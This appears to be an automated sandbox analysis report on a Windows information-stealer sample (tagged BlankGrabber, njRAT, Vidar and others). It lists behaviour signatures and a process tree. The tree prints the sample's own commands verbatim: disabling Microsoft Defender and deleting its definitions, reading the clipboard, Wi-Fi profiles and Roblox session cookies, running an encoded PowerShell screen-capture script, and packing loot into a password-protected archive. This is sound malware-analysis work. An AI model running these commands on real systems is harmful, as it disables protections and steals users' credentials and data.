Overview

overview

10

Static

static

10

2026-06-30...ar.exe

windows10-2004-x64

8

2026-06-30...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 04:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-06-30_7010cbf732cb8351b28009392ba96a72_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  • Size 7.6MB
  • Sample260701-e18mzses8j
  • SHA256 472c0a80a665c8c28fc8906fd18bd3badbc95806ce09b4afc6a5bcc1aa21579a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecollectiondefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarespywarestealerupx

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • UPX packed file 54 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-30_7010cbf732cb8351b28009392ba96a72_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-30_7010cbf732cb8351b28009392ba96a72_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4048
    • C:\Users\Admin\AppData\Local\Temp\2026-06-30_7010cbf732cb8351b28009392ba96a72_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-06-30_7010cbf732cb8351b28009392ba96a72_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5356
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-06-30_7010cbf732cb8351b28009392ba96a72_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-06-30_7010cbf732cb8351b28009392ba96a72_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:792
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5156
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4364
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:5168
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Yazılım Başlatılıyor !!!', 0, 'Satans Cheats', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Yazılım Başlatılıyor !!!', 0, 'Satans Cheats', 48+16);close()"
          4⤵
            PID:4076
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4820
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1212
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5288
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2424
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3964
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:756
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:3624
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2792
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:876
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:1380
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:1368
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:1312
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3616
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:2608
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3948
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3916
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cmrhvwmt\cmrhvwmt.cmdline"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2372
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES868B.tmp" "c:\Users\Admin\AppData\Local\Temp\cmrhvwmt\CSC1D65745E2E749179881EED8C9BB95C7.TMP"
                  6⤵
                    PID:4080
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1792
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:3764
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2280
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:1064
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5268
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:5456
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1180
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:2696
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2328
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:2660
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4052
                        • C:\Windows\system32\getmac.exe
                          getmac
                          4⤵
                            PID:1084
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4024
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2708
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1864
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1516
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI40482\rar.exe a -r -hp"satan" "C:\Users\Admin\AppData\Local\Temp\t4x8q.zip" *"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4428
                          • C:\Users\Admin\AppData\Local\Temp\_MEI40482\rar.exe
                            C:\Users\Admin\AppData\Local\Temp\_MEI40482\rar.exe a -r -hp"satan" "C:\Users\Admin\AppData\Local\Temp\t4x8q.zip" *
                            4⤵
                            • Executes dropped EXE
                            PID:3812
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3564
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic os get Caption
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1000
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4040
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic computersystem get totalphysicalmemory
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5704
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2892
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic csproduct get uuid
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2004
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4584
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5348
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2212
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic path win32_VideoController get name
                            4⤵
                            • Detects videocard installed
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5364
                        • C:\Windows\system32\cmd.exe
